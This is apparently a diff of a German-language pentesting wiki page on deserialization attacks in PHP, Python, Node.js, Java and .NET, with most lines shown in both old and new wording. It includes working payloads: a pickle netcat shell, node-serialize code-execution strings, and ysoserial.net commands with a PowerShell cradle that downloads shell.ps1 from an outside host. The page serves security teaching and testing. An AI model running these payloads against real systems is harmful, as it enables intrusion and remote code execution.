- Durch das Abhören des `securitypolicyviolation`-Ereignisses kann man die `blockedURI`-Eigenschaft erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leakt die geheime Domain, zu der die ursprüngliche URL weitergeleitet hat.
- Durch das Abhören des `securitypolicyviolation`-Ereignisses kann man die `blockedURI`-Eigenschaft erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leakt die geheime Domain, zu der die ursprüngliche URL weitergeleitet wurde.
Es ist interessant zu beachten, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen im Umgang mit iframes in Bezug auf CSP haben, was zu potenziellen Lecks sensibler Informationen aufgrund undefinierten Verhaltens führen kann.

88
src/pentesting-web/deserialization/README.md
View File

@ -4,9 +4,9 @@
## Grundinformationen
**Serialization** wird als die Methode verstanden, ein Objekt in ein Format zu konvertieren, das gespeichert werden kann, mit der Absicht, das Objekt entweder zu speichern oder es als Teil eines Kommunikationsprozesses zu übertragen. Diese Technik wird häufig eingesetzt, um sicherzustellen, dass das Objekt zu einem späteren Zeitpunkt rekreiert werden kann, wobei seine Struktur und sein Zustand beibehalten werden.
**Serialization** wird als die Methode verstanden, ein Objekt in ein Format zu konvertieren, das erhalten werden kann, mit der Absicht, das Objekt entweder zu speichern oder es als Teil eines Kommunikationsprozesses zu übertragen. Diese Technik wird häufig eingesetzt, um sicherzustellen, dass das Objekt zu einem späteren Zeitpunkt rekonstruiert werden kann, wobei seine Struktur und sein Zustand beibehalten werden.
**Deserialization** hingegen ist der Prozess, der der Serialization entgegenwirkt. Es beinhaltet das Entnehmen von Daten, die in einem bestimmten Format strukturiert wurden, und das Rekonstruieren dieser Daten zurück in ein Objekt.
**Deserialization** hingegen ist der Prozess, der der Serialization entgegenwirkt. Es beinhaltet das Entnehmen von Daten, die in einem bestimmten Format strukturiert wurden, und deren Rekonstruktion zurück in ein Objekt.
Deserialization kann gefährlich sein, da sie potenziell **Angreifern ermöglicht, die serialisierten Daten zu manipulieren, um schädlichen Code auszuführen** oder unerwartetes Verhalten in der Anwendung während des Rekonstruktionsprozesses des Objekts zu verursachen.
@ -74,7 +74,7 @@ This is a test<br />
*/
?>
```
Wenn Sie sich die Ergebnisse ansehen, können Sie sehen, dass die Funktionen **`__wakeup`** und **`__destruct`** aufgerufen werden, wenn das Objekt deserialisiert wird. Beachten Sie, dass in mehreren Tutorials zu finden ist, dass die Funktion **`__toString`** aufgerufen wird, wenn versucht wird, ein Attribut auszugeben, aber anscheinend **geschieht das nicht mehr**.
Wenn Sie sich die Ergebnisse ansehen, können Sie sehen, dass die Funktionen **`__wakeup`** und **`__destruct`** aufgerufen werden, wenn das Objekt deserialisiert wird. Beachten Sie, dass Sie in mehreren Tutorials feststellen werden, dass die Funktion **`__toString`** aufgerufen wird, wenn versucht wird, ein Attribut auszugeben, aber anscheinend **geschieht das nicht mehr**.
> [!WARNING]
> Die Methode **`__unserialize(array $data)`** wird **anstatt von `__wakeup()`** aufgerufen, wenn sie in der Klasse implementiert ist. Sie ermöglicht es Ihnen, das Objekt zu deserialisieren, indem Sie die serialisierten Daten als Array bereitstellen. Sie können diese Methode verwenden, um Eigenschaften zu deserialisieren und alle erforderlichen Aufgaben bei der Deserialisierung auszuführen.
@ -100,9 +100,9 @@ Sie könnten die PHP-Autoload-Funktionalität missbrauchen, um beliebige PHP-Dat
php-deserialization-+-autoload-classes.md
{{#endref}}
### Serialisierung von Referenzwerten
### Serialisierung von Referenzierten Werten
Wenn Sie aus irgendeinem Grund einen Wert als **Referenz zu einem anderen serialisierten Wert** serialisieren möchten, können Sie:
Wenn Sie aus irgendeinem Grund einen Wert als **Referenz auf einen anderen serialisierten Wert** serialisieren möchten, können Sie:
```php
<?php
class AClass {
@ -118,8 +118,8 @@ $ser=serialize($o);
### PHPGGC (ysoserial für PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) kann Ihnen helfen, Payloads zu generieren, um PHP-Deserialisierungen auszunutzen.\
Beachten Sie, dass Sie in mehreren Fällen **keinen Weg finden werden, um eine Deserialisierung im Quellcode** der Anwendung auszunutzen, aber Sie möglicherweise **den Code von externen PHP-Erweiterungen ausnutzen können.**\
Wenn möglich, überprüfen Sie die `phpinfo()` des Servers und **suchen Sie im Internet** (sogar in den **Gadgets** von **PHPGGC**) nach möglichen Gadgets, die Sie ausnutzen könnten.
Beachten Sie, dass Sie in mehreren Fällen **keinen Weg finden werden, eine Deserialisierung im Quellcode** der Anwendung auszunutzen, aber Sie möglicherweise **den Code von externen PHP-Erweiterungen ausnutzen können.**\
Wenn möglich, überprüfen Sie die `phpinfo()` des Servers und **suchen Sie im Internet** (und sogar in den **Gadgets** von **PHPGGC**) nach möglichen Gadgets, die Sie ausnutzen könnten.
### phar:// Metadaten-Deserialisierung
@ -134,7 +134,7 @@ Für weitere Informationen lesen Sie den folgenden Beitrag:
### **Pickle**
Wenn das Objekt unpickle wird, wird die Funktion \_\_\_reduce\_\_\_ ausgeführt.\
Wenn das Objekt unpickled wird, wird die Funktion \_\_\_reduce\_\_\_ ausgeführt.\
Bei einer Ausnutzung könnte der Server einen Fehler zurückgeben.
```python
import pickle, os, base64
@ -143,7 +143,7 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```
Bevor Sie die Bypass-Technik überprüfen, versuchen Sie, `print(base64.b64encode(pickle.dumps(P(),2)))` zu verwenden, um ein Objekt zu generieren, das mit Python2 kompatibel ist, wenn Sie Python3 ausführen.
Bevor Sie die Bypass-Technik überprüfen, versuchen Sie `print(base64.b64encode(pickle.dumps(P(),2)))` zu verwenden, um ein Objekt zu generieren, das mit Python2 kompatibel ist, wenn Sie Python3 ausführen.
Für weitere Informationen zum Entkommen aus **pickle jails** siehe:
@ -169,8 +169,8 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **hat keine "magischen" Funktionen** wie PHP oder Python, die nur zum Erstellen eines Objekts ausgeführt werden. Aber es gibt einige **Funktionen**, die **häufig verwendet werden, auch ohne sie direkt aufzurufen**, wie **`toString`**, **`valueOf`**, **`toJSON`**.\
Wenn Sie eine Deserialisierung ausnutzen, können Sie **diese Funktionen kompromittieren, um anderen Code auszuführen** (potenziell durch Ausnutzung von Prototype-Pollution), sodass Sie beliebigen Code ausführen könnten, wenn sie aufgerufen werden.
JS **hat keine "magischen" Funktionen** wie PHP oder Python, die nur zum Erstellen eines Objekts ausgeführt werden. Aber es hat einige **Funktionen**, die **häufig verwendet werden, auch ohne sie direkt aufzurufen**, wie **`toString`**, **`valueOf`**, **`toJSON`**.\
Wenn Sie eine Deserialisierung ausnutzen, können Sie **diese Funktionen kompromittieren, um anderen Code auszuführen** (potenziell durch Missbrauch von Prototyp-Verschmutzungen), sodass Sie beliebigen Code ausführen könnten, wenn sie aufgerufen werden.
Eine weitere **"magische" Möglichkeit, eine Funktion aufzurufen**, ohne sie direkt aufzurufen, besteht darin, **ein Objekt zu kompromittieren, das von einer asynchronen Funktion** (Promise) zurückgegeben wird. Denn wenn Sie **das Rückgabeobjekt** in ein anderes **Promise** mit einer **Eigenschaft** namens **"then" vom Typ Funktion** umwandeln, wird es **ausgeführt**, nur weil es von einem anderen Promise zurückgegeben wird. _Folgen Sie_ [_**diesem Link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _für weitere Informationen._
```javascript
@ -223,15 +223,15 @@ Das **serialisierte Objekt** wird wie folgt aussehen:
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
Sie können im Beispiel sehen, dass beim Serialisieren einer Funktion das `_$$ND_FUNC$$_`-Flag an das serialisierte Objekt angehängt wird.
Sie können im Beispiel sehen, dass, wenn eine Funktion serialisiert wird, das `_$$ND_FUNC$$_`-Flag an das serialisierte Objekt angehängt wird.
Im Datei `node-serialize/lib/serialize.js` finden Sie dasselbe Flag und wie der Code es verwendet.
Innerhalb der Datei `node-serialize/lib/serialize.js` finden Sie dasselbe Flag und wie der Code es verwendet.
![](<../../images/image (351).png>)
![](<../../images/image (446).png>)
Wie Sie im letzten Codeabschnitt sehen können, **wenn das Flag gefunden wird**, wird `eval` verwendet, um die Funktion zu deserialisieren, sodass im Grunde **Benutzereingaben innerhalb der `eval`-Funktion verwendet werden**.
Wie Sie im letzten Codeabschnitt sehen können, **wenn das Flag gefunden wird**, wird `eval` verwendet, um die Funktion zu deserialisieren, also wird im Grunde **Benutzereingabe innerhalb der `eval`-Funktion verwendet**.
Allerdings **führt das bloße Serialisieren** einer Funktion **nicht zur Ausführung**, da es notwendig wäre, dass ein Teil des Codes **`y.rce` aufruft** in unserem Beispiel, und das ist höchst **unwahrscheinlich**.\
Dennoch könnten Sie einfach das **serialisierte Objekt modifizieren**, **indem Sie einige Klammern hinzufügen**, um die serialisierte Funktion automatisch auszuführen, wenn das Objekt deserialisiert wird.\
@ -243,14 +243,14 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
Wie zuvor angegeben, wird diese Bibliothek den Code nach `_$$ND_FUNC$$_` abrufen und ihn **ausführen** mit `eval`. Daher können Sie, um **Code automatisch auszuführen**, den Teil zur **Funktions Erstellung** und die letzte Klammer löschen und **einfach eine JS-Einzeiler** wie im folgenden Beispiel ausführen:
Wie zuvor angegeben, wird diese Bibliothek den Code nach `_$$ND_FUNC$$_` erhalten und ihn **ausführen** mit `eval`. Daher können Sie, um **Code automatisch auszuführen**, den Teil zur **Funktions Erstellung** und die letzte Klammer **löschen** und **einfach eine JS-Einzeiler** wie im folgenden Beispiel ausführen:
```javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
```
Sie können [**hier weitere Informationen**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **über die Ausnutzung dieser Schwachstelle** finden.
Sie können [**hier weitere Informationen**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **finden**, wie man diese Schwachstelle ausnutzt.
### [funcster](https://www.npmjs.com/package/funcster)
@ -322,7 +322,7 @@ In Java werden **Deserialisierungs-Callbacks während des Deserialisierungsproze
Um potenzielle Serialisierungsanfälligkeiten im Code zu identifizieren, suchen Sie nach:
- Klassen, die das `Serializable`-Interface implementieren.
- Verwendung von `java.io.ObjectInputStream`, `readObject`, `readUnshare`-Funktionen.
- Verwendung von `java.io.ObjectInputStream`, `readObject`, `readUnshared`-Funktionen.
Achten Sie besonders auf:
@ -342,7 +342,7 @@ Für Black-Box-Tests suchen Sie nach spezifischen **Signaturen oder "Magic Bytes
- HTTP-Antwortheader mit `Content-type`, der auf `application/x-java-serialized-object` gesetzt ist.
- Hexadezimalmuster, das auf eine vorherige Kompression hinweist: `1F 8B 08 00`.
- Base64-Muster, das auf eine vorherige Kompression hinweist: `H4sIA`.
- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialisierung](java-jsf-viewstate-.faces-deserialization.md) detailliert beschrieben.
- Webdateien mit der Erweiterung `.faces` und dem Parameter `faces.ViewState`. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung nach sich ziehen, wie im [Beitrag über Java JSF ViewState Deserialisierung](java-jsf-viewstate-.faces-deserialization.md) beschrieben.
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
@ -359,7 +359,7 @@ grep -R InvokeTransformer .
```
Du könntest versuchen, **alle bekannten verwundbaren Bibliotheken** zu überprüfen, für die [**Ysoserial**](https://github.com/frohoff/ysoserial) einen Exploit bereitstellen kann. Oder du könntest die in [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) angegebenen Bibliotheken überprüfen.\
Du könntest auch [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) verwenden, um nach möglichen Gadget-Ketten zu suchen, die ausgenutzt werden können.\
Beim Ausführen von **gadgetinspector** (nach dem Bauen) kümmere dich nicht um die vielen Warnungen/Fehler, die es durchläuft, und lass es fertigstellen. Es wird alle Ergebnisse unter _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ schreiben. Bitte beachte, dass **gadgetinspector keinen Exploit erstellt und möglicherweise falsche Positivmeldungen anzeigt**.
Beim Ausführen von **gadgetinspector** (nach dem Erstellen) kümmere dich nicht um die vielen Warnungen/Fehler, die es durchläuft, und lass es fertigstellen. Es wird alle Ergebnisse unter _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ schreiben. Bitte beachte, dass **gadgetinspector keinen Exploit erstellt und möglicherweise falsche Positivmeldungen anzeigt**.
#### Black Box Test
@ -371,19 +371,19 @@ Mit der Burp-Erweiterung [**Java Deserialization Scanner**](java-dns-deserializa
[**Lies dies, um mehr über den Java Deserialization Scanner zu erfahren.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner konzentriert sich auf **`ObjectInputStream`**-Deserialisierungen.
Du kannst auch [**Freddy**](https://github.com/nccgroup/freddy) verwenden, um **Deserialisierungs**-Verwundbarkeiten in **Burp** zu **erkennen**. Dieses Plugin erkennt **nicht nur `ObjectInputStream`**-bezogene Verwundbarkeiten, sondern **auch** Verwundbarkeiten von **Json**- und **Yml**-Deserialisierungsbibliotheken. Im aktiven Modus wird es versuchen, sie mit Sleep- oder DNS-Payloads zu bestätigen.\
Du kannst auch [**Freddy**](https://github.com/nccgroup/freddy) verwenden, um **Deserialisierungs**-Verwundbarkeiten in **Burp** zu **erkennen**. Dieses Plugin erkennt **nicht nur `ObjectInputStream`**-bezogene Verwundbarkeiten, sondern **auch** Verwundbarkeiten von **Json**- und **Yml**-Deserialisierungsbibliotheken. Im aktiven Modus wird es versuchen, diese mit Sleep- oder DNS-Payloads zu bestätigen.\
[**Hier findest du weitere Informationen über Freddy.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serialization Test**
Es geht nicht nur darum zu überprüfen, ob eine verwundbare Bibliothek vom Server verwendet wird. Manchmal könntest du in der Lage sein, **die Daten im serialisierten Objekt zu ändern und einige Prüfungen zu umgehen** (vielleicht um dir Admin-Rechte in einer Webanwendung zu gewähren).\
Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu modifizieren und einige Prüfungen zu umgehen.
Es geht nicht nur darum, zu überprüfen, ob eine verwundbare Bibliothek vom Server verwendet wird. Manchmal könntest du in der Lage sein, **die Daten im serialisierten Objekt zu ändern und einige Prüfungen zu umgehen** (vielleicht um dir Admin-Rechte in einer Webanwendung zu gewähren).\
Wenn du ein in Java serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, **kannst du** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **verwenden, um das gesendete Serialisierungsobjekt in einem menschenlesbaren Format auszugeben**. Zu wissen, welche Daten du sendest, würde es einfacher machen, sie zu ändern und einige Prüfungen zu umgehen.
### **Exploit**
#### **ysoserial**
Das Hauptwerkzeug zum Ausnutzen von Java-Deserialisierungen ist [**ysoserial**](https://github.com/frohoff/ysoserial) ([**hier herunterladen**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Du könntest auch in Betracht ziehen, [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) zu verwenden, das es dir ermöglicht, komplexe Befehle (zum Beispiel mit Pipes) zu verwenden.\
Das Hauptwerkzeug zum Ausnutzen von Java-Deserialisierungen ist [**ysoserial**](https://github.com/frohoff/ysoserial) ([**hier herunterladen**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Du könntest auch in Betracht ziehen, [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) zu verwenden, das dir ermöglicht, komplexe Befehle (zum Beispiel mit Pipes) zu verwenden.\
Beachte, dass dieses Tool **fokussiert** ist auf das Ausnutzen von **`ObjectInputStream`**.\
Ich würde **beginnen, die "URLDNS"**-Payload **vor einer RCE**-Payload zu verwenden, um zu testen, ob die Injektion möglich ist. Beachte jedoch, dass die "URLDNS"-Payload möglicherweise nicht funktioniert, aber eine andere RCE-Payload möglicherweise schon.
```bash
@ -432,7 +432,7 @@ base64 -w0 payload
```
Beim Erstellen eines Payloads für **java.lang.Runtime.exec()** können Sie **keine Sonderzeichen** wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()", um Befehle auszuführen oder sogar **Argumente** an einen Befehl zu übergeben, die durch **Leerzeichen** getrennt sind (Sie können `echo -n "hello world"` tun, aber Sie können nicht `python2 -c 'print "Hello world"'` tun). Um den Payload korrekt zu codieren, könnten Sie [diese Webseite](http://www.jackson-t.ca/runtime-exec-payloads.html) verwenden.
Fühlen Sie sich frei, das nächste Skript zu verwenden, um **alle möglichen Codeausführungs**-Payloads für Windows und Linux zu erstellen und diese dann auf der verwundbaren Webseite zu testen:
Fühlen Sie sich frei, das nächste Skript zu verwenden, um **alle möglichen Codeausführungs-**Payloads für Windows und Linux zu erstellen und diese dann auf der verwundbaren Webseite zu testen:
```python
import os
import base64
@ -461,7 +461,7 @@ Sie können **verwenden** [**https://github.com/pwntester/SerialKillerBypassGadg
[**marshalsec** ](https://github.com/mbechler/marshalsec)kann verwendet werden, um Payloads zu generieren, um verschiedene **Json**- und **Yml**-Serialisierungsbibliotheken in Java auszunutzen.\
Um das Projekt zu kompilieren, musste ich diese **Abhängigkeiten** zu `pom.xml` hinzufügen:
```markup
```html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
@ -482,7 +482,7 @@ mvn clean package -DskipTests
```
#### FastJSON
Erfahren Sie mehr über diese Java JSON-Bibliothek: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
Lesen Sie mehr über diese Java JSON-Bibliothek: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Labs
@ -546,7 +546,7 @@ return super.resolveClass(desc);
}
}
```
**Verwendung eines Java-Agents zur Sicherheitsverbesserung** bietet eine Rückfalllösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für **das Blacklisting schädlicher Klassen**, unter Verwendung eines JVM-Parameters:
**Verwendung eines Java-Agents zur Sicherheitsverbesserung** bietet eine Fallback-Lösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für **das Blacklisting schädlicher Klassen**, unter Verwendung eines JVM-Parameters:
```
-javaagent:name-of-agent.jar
```
@ -577,7 +577,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
### Referenzen
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
- Deserialization und ysoserial Vortrag: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- Deserialisierung und ysoserial Vortrag: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Vortrag über gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) und Folien: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
@ -585,12 +585,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Java und .Net JSON Deserialisierung **Papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** Vortrag: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) und Folien: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Java und .Net JSON-Deserialisierung **Papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** Vortrag: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) und Folien: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Deserialisierungs-CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI-Injection & log4Shell
Finden Sie heraus, was **JNDI Injection ist, wie man es über RMI, CORBA & LDAP missbraucht und wie man log4shell ausnutzt** (und ein Beispiel für diese Schwachstelle) auf der folgenden Seite:
Finden Sie heraus, was **JNDI-Injection ist, wie man es über RMI, CORBA & LDAP missbraucht und wie man log4shell ausnutzt** (und ein Beispiel für diese Schwachstelle) auf der folgenden Seite:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -610,7 +610,7 @@ Es gibt mehrere Produkte, die diese Middleware verwenden, um Nachrichten zu send
### Ausnutzung
Im Grunde gibt es eine **Menge von Diensten, die JMS auf gefährliche Weise verwenden**. Daher, wenn Sie **genug Berechtigungen** haben, um Nachrichten an diese Dienste zu senden (normalerweise benötigen Sie gültige Anmeldeinformationen), könnten Sie in der Lage sein, **bösartige Objekte zu senden, die vom Verbraucher/Abonnenten deserialisiert werden**.\
Im Grunde gibt es eine **Menge von Diensten, die JMS auf gefährliche Weise verwenden**. Daher, wenn Sie **genug Berechtigungen** haben, um Nachrichten an diese Dienste zu senden (normalerweise benötigen Sie gültige Anmeldeinformationen), könnten Sie in der Lage sein, **bösartige Objekte zu senden, die serialisiert sind und vom Verbraucher/Abonnenten deserialisiert werden**.\
Das bedeutet, dass bei dieser Ausnutzung alle **Clients, die diese Nachricht verwenden, infiziert werden**.
Sie sollten sich daran erinnern, dass selbst wenn ein Dienst anfällig ist (weil er Benutzereingaben unsicher deserialisiert), Sie dennoch gültige Gadgets finden müssen, um die Schwachstelle auszunutzen.
@ -635,11 +635,11 @@ Der Quellcode sollte auf Vorkommen von:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ durch eine Variable unter Benutzerkontrolle zu bestimmen.
Untersucht werden. Der Fokus sollte auf Serialisierern liegen, die es ermöglichen, den Typ durch eine vom Benutzer kontrollierte Variable zu bestimmen.
#### BlackBox
Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte, wodurch die Kontrolle über den zu deserialisierenden Typ gewährt wird. Dies könnte JSON- oder XML-Strukturen mit `TypeObject` oder `$type` umfassen, ist aber nicht darauf beschränkt.
Die Suche sollte auf die Base64-codierte Zeichenfolge **AAEAAAD/////** oder ein ähnliches Muster abzielen, das auf der Serverseite deserialisiert werden könnte, wodurch die Kontrolle über den zu deserialisierenden Typ gewährt wird. Dies könnte JSON- oder XML-Strukturen mit `TypeObject` oder `$type` umfassen.
### ysoserial.net
@ -649,8 +649,8 @@ Wenn Sie lernen möchten, **wie ysoserial.net seinen Exploit erstellt**, können
Die Hauptoptionen von **ysoserial.net** sind: **`--gadget`**, **`--formatter`**, **`--output`** und **`--plugin`.**
- **`--gadget`** wird verwendet, um das Gadget anzugeben, das ausgenutzt werden soll (geben Sie die Klasse/Funktion an, die während der Deserialisierung missbraucht wird, um Befehle auszuführen).
- **`--formatter`**, wird verwendet, um die Methode zur Serialisierung des Exploits anzugeben (Sie müssen wissen, welche Bibliothek im Backend verwendet wird, um die Nutzlast zu deserialisieren, und dieselbe verwenden, um sie zu serialisieren).
- **`--gadget`** wird verwendet, um das Gadget anzugeben, das ausgenutzt werden soll (geben Sie die Klasse/Funktion an, die während der Deserialisierung ausgenutzt wird, um Befehle auszuführen).
- **`--formatter`**, wird verwendet, um die Methode anzugeben, um den Exploit zu serialisieren (Sie müssen wissen, welche Bibliothek im Backend verwendet wird, um die Nutzlast zu deserialisieren, und dieselbe verwenden, um sie zu serialisieren).
- **`--output`** wird verwendet, um anzugeben, ob Sie den Exploit in **raw** oder **base64** codiert haben möchten. _Beachten Sie, dass **ysoserial.net** die Nutzlast mit **UTF-16LE** (Standardkodierung unter Windows) codiert, sodass Sie, wenn Sie die raw-Version erhalten und sie einfach von einer Linux-Konsole aus codieren, möglicherweise einige **Kodierungs-Kompatibilitätsprobleme** haben, die verhindern, dass der Exploit ordnungsgemäß funktioniert (in der HTB JSON-Box funktionierte die Nutzlast sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass es immer funktioniert)._
- **`--plugin`** ysoserial.net unterstützt Plugins, um **Exploits für spezifische Frameworks** wie ViewState zu erstellen.
@ -658,7 +658,7 @@ Die Hauptoptionen von **ysoserial.net** sind: **`--gadget`**, **`--formatter`**,
- `--minify` liefert eine **kleinere Nutzlast** (wenn möglich)
- `--raf -f Json.Net -c "anything"` Dies gibt an, welche Gadgets mit einem angegebenen Formatter (`Json.Net` in diesem Fall) verwendet werden können.
- `--sf xml` Sie können **ein Gadget** (`-g`) angeben, und ysoserial.net wird nach Formatierern suchen, die "xml" enthalten (nicht großgeschrieben).
- `--sf xml` Sie können **ein Gadget angeben** (`-g`) und ysoserial.net wird nach Formatierern suchen, die "xml" enthalten (nicht großgeschrieben).
**ysoserial-Beispiele** zur Erstellung von Exploits:
```bash
@ -679,7 +679,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** hat auch einen **sehr interessanten Parameter**, der hilft, besser zu verstehen, wie jeder Exploit funktioniert: `--test`\
Wenn Sie diesen Parameter angeben, wird **ysoserial.net** den **Exploit lokal versuchen,** sodass Sie testen können, ob Ihr Payload korrekt funktioniert.\
Wenn Sie diesen Parameter angeben, wird **ysoserial.net** den **Exploit lokal versuchen**, sodass Sie testen können, ob Ihr Payload korrekt funktioniert.\
Dieser Parameter ist hilfreich, weil Sie, wenn Sie den Code überprüfen, Codeabschnitte wie den folgenden finden werden (aus [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
@ -710,7 +710,7 @@ Daher ermöglicht uns der **`--test`**-Parameter zu verstehen, **welche Codeabsc
### ViewState
Werfen Sie einen Blick auf [diesen POST über **wie man versucht, den \_\_ViewState-Parameter von .Net auszunutzen**](exploiting-__viewstate-parameter.md), um **beliebigen Code auszuführen.** Wenn Sie **bereits die Geheimnisse** kennen, die von der Opfermaschine verwendet werden, [**lesen Sie diesen Beitrag, um zu erfahren, wie man Code ausführt**](exploiting-__viewstate-knowing-the-secret.md)**.**
